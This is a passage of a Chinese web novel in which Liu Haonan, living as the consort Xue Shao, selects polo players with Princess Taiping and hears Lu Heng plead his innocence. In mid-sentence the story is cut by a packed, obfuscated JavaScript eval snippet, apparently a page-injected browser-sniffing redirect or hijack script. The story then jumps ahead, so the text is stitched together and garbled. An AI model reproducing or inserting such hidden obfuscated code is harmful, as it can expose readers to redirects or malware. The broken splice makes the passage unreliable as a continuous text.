刘皓南出列,躬身领旨。掌心触及腰间那枚“破妄珏”,玉身竟传来一丝微弱的、异常的温热感,仿佛在提醒他什么。 珠帘之后,一直静听的武后,此时忽然轻笑一声,声音透过帘幕传来,清越中带着不容忽视的威仪: “陛下所言极是。薛卿近日,听闻对古玉珍玩颇为上心,把玩品鉴,眼界想必更上层楼。此番与突厥一会,恰可让他们见识见识,我大唐的栋梁之才,乃是文武兼修,张弛有度。莫要让人觉得,我天朝上国的俊杰,只识得金玉珠翠的贵气,却失了纵马击球的锐气才好。” 这番话,明是夸赞,暗藏机锋。既点了刘皓南“养伤”期间看似“闲适”的把玩,又将他与即将到来的马球会紧密相连,更隐含告诫——莫因私趣,误了国事。 刘皓南低头应诺:“臣,谨记陛下、天后教诲。” 躬身时,他脑中却蓦然响起太平清晨那句随意又认真的话语—— “玉再好,不及人要紧。” 原来如此。 这幻境之中,随手用来镇纸的战国祭天玉璧,插花装饰的商周青铜匕,垫香炉的黑陶龟甲,乃至她漫不经心赠予他、却又隐含庇护之意的“破妄珏”…… 与现世里,女儿将传世古玉抛掷救人的率性而为,将名家字画嬉闹逗趣的“暴殄天物”,其内核竟如此一脉相承。 并非不识珍宝,不通价值。 而是在她们眼中,物终究是物,是工具,是点缀,是随时可为“人”让路、甚至牺牲的存在。珍宝的价值,不在于其本身多么稀有古老,而在于它能否护住所珍视之人,能否用于所愿行之事。 玉女门的传承,从来不在搜罗、占有、供奉那些冷冰冰的奇珍异宝。 在于“惜人”。 惜眼前人,惜心中人,惜每一个鲜活、独特、不该被世俗规矩与冰冷利益轻易抹杀的生命与意志。 太平随手赠玉是“惜他”,窦娘子献宝求庇是“惜己”与“惜同侪”,杜三娘子以玉诀为投名状亦是“惜命”与“求存”……乃至当初,她不惜以身为药、系铃解毒,更是将这份“惜人”之心,推至了不顾己身的极致。 刘皓南缓缓直起身,目光平静地迎向御座上高深莫测的帝后,腰间玉诀的温热渐渐平息,化为一片温润的凉意,贴在心口。 这场昆明池马球会,是机遇,亦是漩涡。而他要做的,便是护住该护住的人,厘清该厘清的事。以这“惜人”之心为锚,在这幻境与真实交织的迷局中,走稳接下来的每一步。 公主府,书斋。 窗外是暮春午后慵懒的阳光,透过茜纱,在光洁的檀木地板上投下温暖斑驳的光影。刘皓南将一卷墨迹方干、誊抄工整的马球会备选子弟名册,轻轻置于宽大的紫檀书案一端。 太平并未坐在案后,而是斜倚在敞开的雕花长窗边。她只着一身家常的杏子红软缎襦裙,未绾高髻,乌发松松挽就,斜插一支素银簪。指尖正漫不经心地把玩着一枚温润莹白的和田玉籽料小坠,目光落在窗外庭院中几株开得正盛的西府海棠上,神情疏懒。 听到动静,她方懒懒回眸,视线落在名册上。放下玉坠,移步至案前,伸出纤纤玉指,沿着那一个个墨迹犹新的姓名,缓缓划过。起初神色淡然,随着指尖移动,那两道精心描画过的远山眉,却渐渐向上挑起,弧度带着毫不掩饰的审视与一丝……讥诮。 “崔家二郎,崔文璟——” 她指尖在第一个名字上顿了顿,唇角勾起一抹凉薄的笑意,声音不高,却字字清晰,“呵,清河崔氏长房嫡出,自诩诗礼传家,一篇《春江花月夜》的仿作,哄得国子监那帮老学究赞不绝口,便真当自己文曲星下凡了。马球?那是粗鄙武夫和想要攀附天家的‘新贵’们,沾染铜臭与汗味的游戏。咱们崔二公子那般清风朗月的人物,怕是嫌球场上的尘土,玷污了他锦袍上的熏香吧?” 她抬眼,似笑非笑地瞥了刘皓南一眼,那目光锐利如针。 “程家那位小将军,程处嗣的幺子,程怀义?” 她指尖下移,语气听不出褒贬,“倒是有几分乃祖程知节(程咬金)的莽撞遗风,听说在左金吾卫里,也是个敢打敢冲的愣头青。可惜啊,程老公爷当年那‘三板斧’虽是朴实,却内藏机变,战场应变之能,岂是蛮力可比?传到这小程将军手里,怕是真的只剩‘三板斧’的莽撞,缺了那份粗中有细的灵光了。让他冲锋或许可以,若要他配合变阵,临机决断……” 她轻轻摇头,未再说下去,但意思已明。 刘皓南站在案侧,静静听着,神色未动,似乎早有所料。 太平的指尖已点向第三个名字:“长孙家的旁支,长孙涣……去年秋狝,陛下特许各家子弟随行。这位长孙公子,可是出了好大的风头——连一只被侍卫驱赶得慌不择路、腿还带了伤的瘸鹿,都能连射三箭不中,最后眼睁睁看着那鹿一瘸一拐跑进林子深处。咯咯……” 她低笑出声,笑声清脆,却无多少暖意,“薛绍,你选他,是打算让他在马球会上,继续表演‘箭无虚发’的绝技,好生‘震慑’一下突厥使团呢?还是……看他姓长孙,想借他这‘长孙’二字,攀一攀长孙无忌那座早已轰然倒塌、只剩残垣断壁的大树,沾染些余荫?” 她语速不急不缓,每个字却都像淬了冰的小刀子,精准地刮在那些光鲜名讳之下,可能存在的脓疮与不堪上。刘皓南嘴唇微动,似乎想解释什么。 太平却已不给他机会,指尖迅速下移,点在“杜”字上。 “杜家……杜如晦杜相爷的玄孙,杜崇俭。” 她这次没有立刻评价,而是略微沉吟,“弓马倒是娴熟,听说在右骁卫里,骑射考评皆是上等。可惜,性情过于桀骜不驯,目无余子。上月,就在平康坊的‘醉仙居’,为争夺一个刚来的西域胡姬,生生打断了裴家一个偏房子弟的三根肋骨,闹到万年县衙。裴家虽非顶级门阀,却也丢不起这人,最后是杜氏长辈出面,赔了大笔钱财,又动用关系,才将事情压下。这般惹是生非、不懂收敛的性子,上了球场,是打球,还是打人?” 她的目光随即扫到“韦”姓,冷笑几乎凝在唇角:“韦玄贞的侄孙,韦陟。看着倒是一副温良恭俭、知书达理的模样,在国子监里人缘颇佳。可惜啊,知人知面不知心。私底下,往东宫递过多少暗指某某官员结党、某某将领跋扈的‘小折子’,真当旁人不知么?需不需要本宫一件件,提醒提醒驸马爷?” 最后,她的指尖,重重地、几乎是带着力道地,戳在了名册末尾的一个名字上—— “卢、衡。” 太平念出这两个字,声音陡然变冷。她猛地从案边直起身,带得袖口拂过名册,发出“哗啦”轻响。她盯着那名字,又猛地抬头看向刘皓南,眼中是难以置信的惊怒: “此人——你也敢用?!范阳卢氏二房的嫡次子,卢衡!那个杜娘子堂妹杜月,宁肯服假死药、携宝托庇于本宫,也绝不肯下嫁的纨绔子弟!虐杀婢女,狎玩优伶,侵吞族产,逼死佃户……范阳卢氏长房那些见不得光的腌臜事,十件里有八件与他有关!你是要本宫,现在就把刑部、大理寺那些压着未发、或是被他卢氏权势抹平的卷宗副本,一件一件,数给你听吗?!” “殿下息怒。” 刘皓南见她气息急促,脸色因激动而微微发红,上前一步,伸手轻轻握住了她因愤怒而微微颤抖的指尖。他的掌心温热干燥,带着常年习武的薄茧,试图传递一丝安抚。“卢衡确有风流之名,坊间传闻也多。但关于虐杀婢女一事,臣调阅过刑部相关卷宗,现场勘查记录与尸格(验尸报告)确有疑点,且无直接人证物证指向卢衡本人。此次遴选,臣的考量是……” “考量?你考量什么?!” 太平猛地抽回手,力道之大,让发间一支赤金累丝凤头步摇的流苏狠狠撞在身后的窗棂上,发出“铮”一声脆响!她胸口起伏,连日将养后渐渐恢复红润的脸颊,此刻因怒意更显艳色逼人,骂起人来中气十足,与之前病弱时判若两人: “考量他范阳卢氏在河北道的万顷良田?考量他叔父卢承庆在吏部考功司的职位?还是考量他长房在朝中那些盘根错节的关系?!薛绍!你现在是在为三日后的‘长安马球会’遴选队员,挑选能上阵搏杀、为国争光的儿郎!不是在经营你的朝堂人脉,替你那兵部弩司铺路搭桥!你明不明白?!” 她连珠炮似的质问,句句砸在刘皓南心头。他看着她因激动而晶亮的眸子,张了张嘴,一时竟有些语塞。他自入长安,多在前朝与兵部衙署,对长安这些顶级世家内部年轻一代的具体品行,恩怨,乃至那些未曾公开的龃龉,了解的确不如太平这般深入骨髓。她自幼长于宫廷,后又开府建牙,与各家命妇贵女往来频繁,听过的私密,见过的龌龊,远非他能及。此刻被她这般毫不留情地揭穿,那些名字背后的隐患与考量不足,便赤裸裸地暴露出来。 书斋内一时寂静,只有墙角铜壶滴漏,发出规律而冰冷的“嗒、嗒”声,敲打着有些凝滞的空气。 刘皓南看着她,忽然上前一步。在她尚未反应过来之前,弯腰,伸手,穿过她的膝弯与后背,微一用力,便将还在生闷气的她打横抱了起来! “啊!薛绍你干什么?!放我下来!” 太平惊呼,握拳捶他肩膀。 刘皓南不答,抱着她,几步便走向与书斋相连的暖阁内室。那里设有一张供平日小憩的软榻。经过榻边时,他足尖似无意地一勾,榻边挽着的层层杏色轻纱帐幔,便“唰”地一声垂落下来,将榻上空间与外间隔开。 “你……唔!” 太平的抗议被堵了回去。一件杏子红的软缎寝衣,从纱帐内被抛了出来,轻飘飘落在地上,半幅袖子还软软地搭在榻边。 帐内光线昏暗,人影模糊交织。太平起初还带着气,挣扎了两下,随即不知是力竭还是如何,渐渐软了身子,只从喉间溢出几声含糊的呜咽与低笑,那笑声里带着事后的慵懒与一丝促狭: “驸马今日……这般……莫非是……偷服了郑娘子新配的‘春风引’?嗯?” 刘皓南没有回答。紧接着,一件男子的月白色中衣,也从帐内甩了出来,盖在那件杏色寝衣之上。 烛光透过轻薄的纱帐,朦胧地映出里面两道紧密交叠的身影。帐内,太平断断续续的调笑混着压抑的喘息,带着温热的气音,飘荡出来: “吃了‘春风引’的阿绍……这般不管不顾的劲儿……倒是比平日……套着那身驴驸马都尉官皮、一板一眼的薛绍……更让本宫……欢喜呢……” 云收雨散,帐内渐归平静。 刘皓南靠在柔软的引枕上,微微阖目,胸膛仍在缓缓起伏。他暗自运转玄门心法,试图平复体内因情事而稍有紊乱的气息,额间却仍渗出细密的汗珠,在昏暗中闪着微光——显然,之前解毒的损耗与“红尘劫”的余毒,对他内力的影响仍未完全消除,此刻稍一剧烈,便显端倪。 一只光滑微凉、犹带汗意的手臂,从旁伸过来,指尖极轻地抚上他心口的位置,在那枚淡金色的凤翎纹上缓缓打着圈。 “看来……” 太平侧卧在他身边,声音带着事后的微沙与慵懒,还有一丝不易察觉的试探,“郑娘子那些苦得要命的补药……灌了这么多日……还不及本宫这剂……现成的‘春风’管用?嗯?” 刘皓南没有睁眼,只是伸手,将那只作乱的手轻轻握住,包在掌心。 次日,昆明池畔,马球场。 春末夏初的阳光已颇具威力,毫无遮挡地炙烤着平整宽阔的球场,地面被马蹄踏起的尘土,在烈日下蒸腾起干燥的热浪。 数十名被遴选出的年轻子弟,身着各色劲装,或骑马,或立于荫凉处,三三两两交谈,目光却都不时瞟向场边临时搭建的凉棚。那里,刘皓南一身利落的靛青色骑射胡服,腰束革带,正与几名兵部同僚及程务挺派来的金吾卫校尉低声商议。 见人到得差不多了,刘皓南走到凉棚中央的木案前,将手中那卷经过昨夜“商讨”后略作修改的名册,“啪”的一声,掷于案上。声音不大,却带着某种无形的压力,让场中嘈杂略微一静。 “诸位,” 他目光平静地扫过场中这些或好奇、或不屑、或跃跃欲试的年轻面孔,“半月后,突厥使团抵京,‘长安马球会’关乎国体,不容有失。今日遴选,非为嬉戏,乃为择锐。规则很简单:组队对抗,胜者留,劣者汰。然开赛之前,薛某有几句话,需问诸位。” 他话音方落,一个身着月白锦袍、头戴玉冠、面容俊秀却带着几分文弱之气的青年,便越众而出,正是清河崔氏的崔文璟。他手中折扇轻摇,嘴角噙着一丝若有若无的讥诮笑意: “薛都尉,久闻都尉于兵事颇有建树,只是这马球排兵布阵,与沙场征战,恐怕并非一理。都尉这名册排布,前锋、中坚、后卫……呵,莫不是照搬了《李卫公问对》里的车阵图,生搬硬套而来?须知球场瞬息万变,非是纸上谈兵便可定输赢。” 他声音清朗,带着世家子弟特有的、那种居高临下的“礼貌的嘲讽”,顿时引来几声低低的附和与轻笑。许多子弟看向刘皓南的目光,也多了几分审视与不以为然。一个“驸马都尉”,哪怕有些军功,在这些自诩血统高贵,见惯风浪的世家子眼中,终究是“幸进”之辈,何况还是以“尚主”这种方式。 刘皓南神色不变,甚至未看崔文璟一眼,只抬手示意。两名兵部吏员立刻抬上一座巨大的沙盘,其上以不同颜色标出昆明池马球场的地形,以及红蓝两色代表对阵双方的小旗。 刘皓南取过一根细长的竹杖,指向沙盘上代表“突厥使团”的红色旗帜聚集处,声音平稳无波: “突厥马球,素重个人勇力与速度,其惯用阵型,乃是效仿骑射狩猎的‘双狼逐月阵’。” 竹杖在沙盘上划出两道弧线,模拟左右两翼突进包抄,“此阵看似两翼齐飞,攻势凌厉,实则中军衔接薄弱,两翼与中军策应之间,存在转换空隙。” 他竹杖一点,在代表己方的蓝色旗帜处,摆出一个三角阵型:“若我方以‘三才阵’正面迎击,不与其硬拼速度,而以稳扎稳打之势,牢牢钳制其两翼冲势。” 竹杖随即猛地向前一刺,如毒龙出洞,直插红色旗帜阵型的中心腹地! “再遣一队轻骑快马,不执著于争夺边路,反而直插其两翼回援不及的中军空虚之处——半炷香内,此阵必破!” 沙盘推演,清晰直观。方才还面带不屑的崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘皓南勒住缰绳,乌骓马人立而起,长嘶一声,稳稳停住。他调转马头,面向鸦雀无声的众人。握缰的手,几不可察地微微颤抖了一下,指节有些发白,显是方才那几下,对他尚未痊愈的内力亦是负担。但他坐在马背上的身姿,依旧挺拔如松,声音平稳,甚至带着一丝淡淡的冷意,清晰地传入每个人耳中: “《孙子·势篇》有云:‘激水之疾,至于漂石者,势也。’ 马球如用兵,个人勇力固然重要,然若无‘势’,便是无头苍蝇,徒耗力气。我所言阵型,所求配合,便是为造此‘势’。诸君若连最基本的令行禁止、相互策应都做不到,连这点‘造势’的悟性与纪律都无……” 他目光缓缓扫过程怀义头盔上那枚马球,扫过神色各异的众人,最后,竹枝轻轻一点地面: “不如趁早回府,斗鸡走马,博美人一笑,也省得在此烈日之下,空耗时辰,徒惹人笑。” 这番话,配合方才那神乎其技的“柳枝击球”,效果是震撼的。所有原本的轻视、不服、散漫,在这一刻,都被强行压了下去。崔文璟折扇合拢,面色复杂。程怀义伸手取下头顶马球,脸上涨红,却再也说不出反驳的话来。其他子弟,更是目露惊佩,交头接耳。 就在这时—— 一个提着朱漆食盒的纤细身影,悄然踏入了校场边缘。那是一名身着青碧色齐胸襦裙的年轻女子,衣裙料子只是寻常的细麻,颜色却清新如雨后新荷。她未梳繁复发髻,只以一根普通的乌木簪子绾住青丝,鬓边别无饰物。面容算不得绝色,但眉目浓丽,尤其一双眼睛,澄澈明亮,顾盼间自有一股难以言喻的灵动与……初绽的风情。她步履轻盈,提着食盒走向凉棚,似乎是为哪位官员或子弟送些茶点。 经过卢衡身侧时,许是地面不平,她脚下一个踉跄,食盒的盖子轻轻跳动了一下,发出“咔哒”一声轻响。 这声音其实不大。 但一直有些心不在焉,站在人群边缘的卢衡,却在听到这声音,眼角的余光瞥见那一抹青碧色衣角的刹那,如同被一道九天惊雷,狠狠劈中了天灵盖, 他浑身剧震,猛地转过头,目光死死锁住那女子的侧脸,瞳孔急剧收缩,脸上血色瞬间褪得干干净净,嘴唇哆嗦着,仿佛见到了世间最不可思议、最令他恐惧又狂喜的幻影! “阿……阿月?!” 他失声叫了出来,声音嘶哑变形,充满了难以置信的惊骇与狂喜!他再顾不得场合,再顾不得旁人目光,猛地上前一步,伸手便要去抓那女子的手腕,“是你?!你不是已经……已经……” “卢公子,请自重。” 一道平静无波的声音响起。刘皓南不知何时已下马,手中那根柳枝,已然隔在了卢衡与那青碧衣裙女子之间,堪堪挡住了卢衡探出的手。 柳枝看似柔弱,卢衡触及时,却感到一股柔韧而坚定的力道,将他推开寸许。 刘皓南看向脸色惨白、眼神狂乱、死死盯着那女子的卢衡,又瞥了一眼那女子——她已站稳,垂着头,看不清表情,只紧紧抱着食盒,指节发白。 “卢公子,” 刘皓南的声音不高,却带着一种奇异的穿透力,让原本因这意外插曲而有些骚动的校场,瞬间安静下来,“借一步说话。” 昆明池畔,一处僻静的水阁内。 卢衡一进入阁中,便“噗通”一声,直挺挺地跪在了冰凉的石板地上。他眼眶赤红,泪水在其中打转,却强忍着没有落下,只是死死攥着拳头,指甲深深掐入掌心。 “薛都尉!那婢女秋菱……不是我杀的!” 他开口,声音颤抖得厉害,却带着一股豁出去的绝望与急切,“她是长房大伯母,硬塞进我院里的眼线!目的就是监视我,找我二房的错处,好方便他们吞并我父亲留下的那点田产铺子!她偷了我与河东故交商议合股经营马匹生意的书信,想要拿去献给伯父邀功!被我察觉后,她自知事败,无颜再见旧主,又怕长房责罚灭口,便……便在自己房中悬梁自尽了!” 他猛地扯开自己的衣襟,露出左胸靠近心口的位置——那里,赫然有一道颜色深褐、狰狞扭曲的陈年刀疤!疤痕极深,显然当时伤势极重。 “这是我察觉秋菱偷信后不久,一次外出访友归家途中,在城郊遇袭留下的!对方蒙面,武功路数阴狠,分明是想要我的命!若非我随身的老仆拼死相护,我又略通些拳脚,侥幸避开了心口要害……薛都尉!我若真是虐杀婢女的凶徒,长房何必多此一举,派人灭口?秋菱死后第三日,我心中不忍,还偷偷让心腹小厮,给她城外寡母送去了五十两银子的抚恤!此事,我院中管事卢忠、小厮阿贵皆可作证!都尉若不信,现在就可传他们来问!哪怕用刑!我也认了!” 他声音嘶哑,字字泣血,额头重重磕在石板上,发出沉闷的响声。 刘皓南静立原地,垂眸看着跪地激动剖白的卢衡,许久未语。水阁内,只有卢衡粗重的喘息与压抑的哽咽声。 “你既无辜,又对杜娘子堂妹杜月有情,” 刘皓南终于缓缓开口,声音听不出情绪,“为何当初,不向她,向杜家解释清楚?以杜娘子的性子与杜家的门风,若知真相,未必不能替你斡旋。” “解释?哈哈哈哈……” 卢衡闻言,却像听到了天大的笑话,猛地抬头,发出一阵凄厉的惨笑,泪水终于夺眶而出,“解释?薛都尉,您是真不知,还是假不知?杜家长房,早与卢家长房暗中勾结!他们看中的,本就是我二房那点被长房觊觎的产业!阿月……阿月那般聪慧通透、心高气傲的女子,她岂会看不穿这其中关窍?她宁可信那些甚嚣尘上的流言,宁肯相信我卢衡是个虐杀婢女的畜生,宁肯服下假死药,毁去与我的婚约……也不愿,嫁入卢家,成为他们用来拿捏我、最终侵吞二房产业的棋子啊!” 他忽然再次重重叩首,额头撞在石板上,发出令人心悸的闷响,鲜血瞬间渗出: “都尉!卢衡今日,别无所求!只求都尉开恩,让我见阿月一面!只见一面!让我亲口告诉她,我从未负她!我卢衡再是懦弱,再是不堪,也绝不会伤害无辜,更不会……更不会对她有半分欺瞒利用之心!只见一面!求您了!” 傍晚,公主府。 刘皓南将白日昆明池畔所见,卢衡的激动剖白、胸前的刀疤、以及那些证人与抚恤银的细节,尽数告知了正在妆台前由侍女服侍卸去钗环的太平。 太平对镜,听着他的叙述,面上并无太多意外之色。她拿起一支赤金点翠蝴蝶簪,在手中把玩,闻言,唇角勾起一抹了然而讥诮的弧度: “杜娘子那堂妹杜月,自然早就知道卢衡多半是冤枉的。” 铜镜光洁,清晰映出她此刻冷静到近乎冷酷的眉眼: “那丫头,虽说于卜算之道不如杜娘子精深,但观人于微、洞察世情的本事,却是连李司天(李淳风)偶然见过一次,都曾点头称赞过的。卢家长房与二房那点龌龊,卢衡面对长房打压时,是忍气吞声、步步退让以求保全,还是暗中积蓄、伺机反击,她只需稍加留意,便能看出端倪。卢衡或许懦弱,或许缺乏与家族彻底决裂的魄力,但绝非大奸大恶、虐杀无辜之徒,这一点,她心里比谁都清楚。” “啪”一声轻响,那支金簪被她随手掷在紫檀妆台上,跳了两下。 “她只是……” 太平顿了顿,声音里透出一丝复杂的意味,似是同情,又似不屑,“看不上卢衡那既要依赖杜氏潜在的影响力与姻亲关系作为后盾,以求在家族倾轧中喘息,又想保全家业,不愿彻底沦为傀儡的……优柔寡断与懦弱。世家联姻,于男子是扩张助力,于女子,却常常是身不由己的囚笼与筹码。杜三娘子宁愿‘死’,宁愿背负逃婚、不孝的骂名,托庇于本宫,也不愿做那颗被摆上棋盘,命运由人,还要与一个她或许并不讨厌、却也绝不欣赏其懦弱的男子捆绑一生的棋子。” 刘皓南走到她身后,接过侍女手中的犀角梳,挥手让侍女退下,然后亲自为她梳理那一头如瀑的青丝。动作轻柔缓慢。 铜镜中,两人身影相依。许久,刘皓南才低低地、似乎漫不经心地开口: “幸好。” “嗯?” 太平从镜中看他。 “幸好,薛家早在贞观朝,就没落了。” 刘皓南指尖缠绕着她一缕光滑的发丝,声音很轻,带着一丝感慨,“家父虽还在,但也只是守着祖宅田产,做个富贵闲人。族中子弟,有出息的在外为官,无出息的在家耕种读书,早已不是什么能影响朝局的河东顶级门阀。” 太平挑眉,示意他继续说。 “若薛家还是当年那个‘河东薛氏’,门生故吏遍天下,与各大家族盘根错节……” 刘皓南手上动作不停,语气却带上了一丝戏谑的无奈,“那当年殿下下嫁时,薛家的聘礼单子,怕是要从朱雀大街,一直排到明德门外。七大姑八大姨,各路族老宗亲,怕是三天两头就要递牌子进府,‘关心’殿下的中馈如何,‘指点’公主府的规矩,顺便再提一提‘开枝散叶’、‘纳妾延嗣’的‘祖宗家法’……” 他忽然低笑一声,摇了摇头: “哪能像现在这般,关起门来,只有你我,清清静静,殿下想骂便骂,想打……呃,想训便训。我这驸马都尉,当得倒也自在。” 太平静静地听着,从镜中看着他低垂的眉眼,看着他唇角那抹淡淡的、真实的笑容。许久,她忽然转过身,伸手搂住了他的脖颈,将额头轻轻抵在他的额前。 两人的呼吸,在极近的距离交织,温热而亲密。 “所以啊,薛绍……” 她声音放得极轻,轻得像一声满足的叹息,气息拂过他鼻尖,“你这驸马都尉,当得可比长安城里,那些看似风光无限、实则枷锁重重的世家子弟,要快活自在得多了,是不是?” 窗外,暮色四合,最后一缕金红色的夕阳光芒,掠过窗棂,恰好照亮了她转身时,后颈衣领下,那一片雪白肌肤上,若隐若现的、诡谲神秘的暗紫色咒印纹路。那纹路在渐浓的昏暗中,泛起一丝幽微的、难以捉摸的紫芒,一闪而逝。 67. 周公与周姥之论 卢衡的身影再一次踉跄着,被两名面无表情、孔武有力的公主府家仆,如同丢弃一件碍眼的杂物般,狠狠掼出了朱红侧门之外。他今日换了身还算体面的雨过天青色锦缎长袍,此刻后摆与一侧袍角,却已沾满了先前两次被推出时蹭上的湿泥与尘土,污渍斑斑,狼狈不堪。他手中死死攥着一枚羊脂白玉的环形玉珏,玉质温润,内侧以极细的刀工,阴刻着“月明”两个娟秀小字——那是当年定亲时,杜三娘子亲手所刻,赠予他的信物。 他被摔得一个趔趄,险些扑倒在冰冷坚硬的青石街上,却不管不顾,猛地回身,朝着那扇在他面前“哐当”一声重重关闭的朱漆大门,用尽全身力气嘶喊,声音因连日奔波、焦急绝望而沙哑破裂: “阿月!杜司籍!你听我说!至少……至少容我进去,把话说清楚!秋菱那婢女,她真的是自缢!是长房逼她,是她自己畏罪!不是我!我从没想过要她的命!我可以对天发誓,我可以找人对质!你出来!你出来听我说啊——!!” 话音未落—— “哗啦——!!!” 一盆不知在角房存放了多久、散发着刺鼻馊臭气的涮锅水,劈头盖脸,从门旁专供仆役通行的小窗里,猛地泼了出来!污浊的菜叶、油花、残渣,混着冰凉的脏水,瞬间将他浇了个透心凉!头发黏在额前脸上,昂贵的锦袍更是彻底毁了形色,刺鼻的恶臭瞬间将他笼罩。 门内,那名膀大腰圆的门房抱着手臂,从门缝里露出一只眼睛,咧着嘴,发出毫不掩饰的、带着鄙夷的冷笑: “卢公子,省省力气吧!杜女史早有明言吩咐下来,您要是再敢在公主府门前喧哗纠缠,近前半步——” 他拖长了音调,语气恶劣,“下次泼的,可就不是这洗碗刷锅的馊水,而是直接从东市收夜香处现提的、滚烫新鲜的‘金汁’了!那玩意儿浇身上,啧啧,怕是大罗金仙来了,也得脱层皮!您这细皮嫩肉的,还是趁早滚远点,给自己留点体面吧!” 被公主府彻底拒之门外,卢衡失魂落魄,却仍不甘心。他想起杜娘子曾提及,其堂姐师承与当朝司天监李淳风大师有些渊源,似乎就在城外玄都观清修。或许……那位仙师能代为通传,或至少指点迷津? 他顾不得浑身污臭,匆匆寻了处客栈草草清洗,换了身普通布衣,便雇了辆驴车,急急赶往城外的玄都观。玄都观香火鼎盛,然而当他报上名号,求见李淳风师妹“清虚子”道长时,却被一名年约十一二岁、梳着双丫髻、眼神灵动的小道童,拦在了清净的后山山门之外。 小道童手持拂尘,像模像样地打了个稽首,声音清脆:“无量天尊。这位居士,我家师叔正在丹房闭关,炼制‘九转金丹’,正值紧要关头,早有严令,不见外客。居士请回吧。” 卢衡心急如焚,哪里肯依。他咬了咬牙,从怀中摸出仅存的一锭黄澄澄的金铤,约有十两重,悄悄塞进小道童手中,压低声音哀求:“小道长,行个方便。我确有十万火急之事,求见仙师一面,哪怕只通传一声,问问杜家阿月姑娘之事也可!此乃香油钱,不成敬意……” 小道童掂了掂手中的金铤,歪头看了看卢衡焦急万分的脸,忽然咧嘴一笑,露出两颗小虎牙。他将金铤揣进怀里,另一只手却从宽大的袖袍中,摸出一张叠成三角状的黄色符纸。 “居士既然诚心,也罢。” 小道童说着,忽然以迅雷不及掩耳之势,将那张符纸“啪”地一下,拍在了卢衡的额心正中央! 卢衡只觉得额头一凉,正要伸手去揭—— “嗤——” 那符纸竟无火自燃!瞬间化作一团青碧色的火焰,却诡异地没有丝毫热度,反而带着一股透骨的清凉,直钻脑门!青烟袅袅升起,在卢衡眼前迅速凝聚、变幻。 恍惚间,他仿佛看到那片青烟之中,杜三娘子身着那日昆明池畔的青碧襦裙,身影窈窕,正静静地立在玄都观后山那片著名的紫竹林深处,背对着他,似乎正要离去。 “阿月!” 卢衡狂喜,再也顾不得其他,猛地拔足便朝那竹林中的身影追去! 然而,一踏入竹林,周遭景象便骤然变幻。方才还清晰的山道、竹影、远处的道观飞檐,瞬间变得模糊扭曲。他眼中只有前方那个看似不远、却始终无法触及的青碧色身影。他拼命追赶,穿过一丛丛看似相同的紫竹,越过一道道似曾相识的溪流,可那身影总是在前方数十步外,不即不离。 喉咙很快干渴得如同吞下了烧红的炭火,每一次呼吸都带着血腥气。双腿越来越沉,如同灌了铅,膝盖酸软得几乎要当场跪倒。不知奔跑了多久,他终于支撑不住,踉跄着扑到一条清澈的溪水边,也顾不得仪态,趴下身子,双手哆哆嗦嗦地掬起一捧冰凉的溪水,就要往嘴里送。 清澈的溪水倒映出他狼狈不堪、满头大汗、面容扭曲的脸。而在那晃动的波光中,他惊恐地看到,自己摊开的、沾满水渍的掌心之中,赫然浮现出四个殷红如血、笔画扭曲的朱砂大字—— “镜、花、水、月”! 四字如同烙铁,烫得他掌心一痛,心神剧震! “啊——!” 他惨叫一声,猛地缩回手,那四个字却已深深印入脑海。 眼前的一切——竹林、溪流、前方阿月的身影——如同被石子击碎的倒影,骤然波动、扭曲,然后“砰”地一声,彻底碎裂、消散! 卢衡猛地睁开眼,发现自己依旧站在原地,就在玄都观后山的石阶前,一步未曾移动。额头那张符纸早已化为灰烬,被山风吹散。夕阳依旧挂在西边的山脊上,金红色的光芒斜斜洒落,与他“进入”竹林前的位置,几乎没有任何变化。 原来,那以为漫长煎熬、仿佛历经了几个时辰的追逐与折磨,在现实之中,不过仅仅……过去了一刻钟而已。 “吧唧,吧唧……” 旁边传来咀嚼的声音。卢衡僵硬地转过头,只见那名小道童,不知何时已坐在一旁干净的石阶上,手里拿着半个胡饼,正啃得香甜。见卢衡看过来,他咽下口中的饼,拍了拍手上的饼渣,老气横秋地叹了口气: “唉,居士这下明白了吧?师叔让我转告您:这点微末的‘庄周梦蝶’小把戏,不过是让您尝尝,什么是‘求不得’,什么是‘妄念缠身’的滋味。幻境一刻,人间苦楚,便如这镜中花,水中月,看着真切,实则虚妄。您所执着的那点‘解释’,那点‘情分’,在人家眼里,或许……连这胡饼上的芝麻都不如呢。回吧,回吧,别再来了。” 小道童说完,摇摇头,抱着没吃完的胡饼,蹦蹦跳跳地转身进了山门,留下卢衡一人,如同泥塑木雕般站在原地,山风一吹,遍体生寒,那“镜花水月”四个字,连同方才幻境中极致的干渴、疲惫、与咫尺天涯的绝望,深深烙印在了神魂深处。 隔日,公主府临水的“听荷阁”内,丝竹轻响,茶香氤氲。太平邀请了数位交好的女眷与宫中女官,举办一场小型的赏春茶会。杜娘子作为公主府新任的六品司籍女官,自然在列。她今日穿着合体的浅青色女官襦裙,发髻梳得一丝不苟,只簪一枚素银簪子,通身上下并无多余饰物,却自有一股沉静清冷的气度。她正执着一把越窑青瓷执壶,为一位夫人斟茶,手腕稳定,姿态恭谨而从容,仿佛昨日玄都观前的一切,从未发生。 就在这时,水阁通往花园的月洞门处,一阵喧哗。卢衡不知用了什么法子,竟再次闯了进来!他显然一夜未眠,眼窝深陷,眼眶布满血丝,身上的锦袍虽换了新的,却掩不住满身的颓唐与焦躁。他一眼就看到了阁中执壶的杜娘子,如同濒死之人看到浮木,不管不顾地推开试图阻拦的侍女,红着眼眶就冲了过去! “阿月!” 杜娘子在他冲至身前半尺时,仿佛早有预料,脚步未动,只纤腰极为轻盈地向旁一侧,便精准地避开了他试图抓握的手,两人之间,隔开了恰到好处的、疏离而冰冷的距离。 她缓缓转过身,目光平静地看向他,那眼神里没有恨,没有怨,甚至没有太多情绪,只有一种彻骨的、看待陌生人的淡漠。 “卢公子怕是认错人了。” 她开口,声音清晰平稳,如同在陈述一件与己无关的事实,“您口中那位‘阿月’,范阳卢氏二房公子卢衡的未婚妻,杜家旁支的孤女,已于去年重阳之夜,因不堪流言与婚约束缚,投了贵府后院的深井。此事,卢家长房已出具文书,杜家族老亦有见证。人死如灯灭,婚约自然作废。公子此刻纠缠不休,是觉得我公主府司籍杜氏,与那已故之人,有半分相似么?” 